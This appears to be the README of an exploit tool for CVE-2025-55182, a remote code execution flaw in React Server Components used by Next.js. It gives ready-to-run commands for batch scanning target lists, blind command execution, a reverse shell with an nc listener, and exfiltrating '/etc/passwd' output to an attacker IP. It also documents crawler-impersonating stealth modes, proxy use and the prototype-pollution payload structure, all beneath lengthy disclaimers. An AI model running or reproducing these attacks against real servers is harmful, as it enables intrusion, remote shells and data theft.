spritualkb/cve-2025-55182-expCVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions.
The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution.
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is provided for educational and authorized penetration testing purposes only. Unauthorized access to computer systems is illegal. Any illegal or unauthorized use of this tool is solely the responsibility of the user. The author assumes no liability whatsoever.
本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作，一切后果由使用者自行承担，与本人无关。
Please read the full DISCLAIMER.md before using this tool.
By using this tool, you agree that:
| Component | Affected Versions |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| Mode | Description |
|---|---|
browser | Mimics real browser requests (default) |
crawler | Mimics search engine crawlers (Googlebot, Baiduspider, etc.) |
security | Uses security scanner User-Agents |
| Option | Description |
|---|---|
target | Target URL (e.g., http://localhost:3000) |
-f, --file | File containing target URLs (one per line) |
-o, --output | Output file for vulnerable targets |
-c, --command | Command to execute (blind) |
--check | Check for vulnerability |
--proxy | SOCKS5 proxy (e.g., socks5://127.0.0.1:1080) |
--stealth | Stealth mode: browser, crawler, security |
--delay | Delay between requests in seconds |
--variants | Use multiple payload variants for thorough check |
--revshell IP PORT | Reverse shell to IP:PORT |
--exfil CMD IP PORT | Execute CMD and POST output to IP:PORT |
-t, --timeout | Request timeout in seconds (default: 15) |
The exploit leverages prototype pollution in the Flight protocol deserialization:
Object.prototype.then via "$1:__proto__:then"_formData.get to Function constructor via "$1:constructor:constructor"_prefix that gets passed to Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack and Next.jsThis project is licensed under the MIT License - see the LICENSE file for details.
By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.
This tool is designed exclusively for:
You SHALL NOT use this tool for:
THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:
IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY:
The user assumes full responsibility for:
By using this tool, you acknowledge that:
下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。
本工具仅用于：
您不得将本工具用于：
本软件按"原样"提供，不提供任何明示或暗示的担保。作者否认所有担保，包括但不限于：
在任何情况下，作者均不对以下情况承担责任：
用户对以下事项承担全部责任：
使用本工具即表示您确认：
在进行任何安全测试之前，您必须：
Before conducting any security testing, you must:
⚠️ 未经授权的计算机访问是违法行为 ⚠️
⚠️ Unauthorized computer access is a criminal offense ⚠️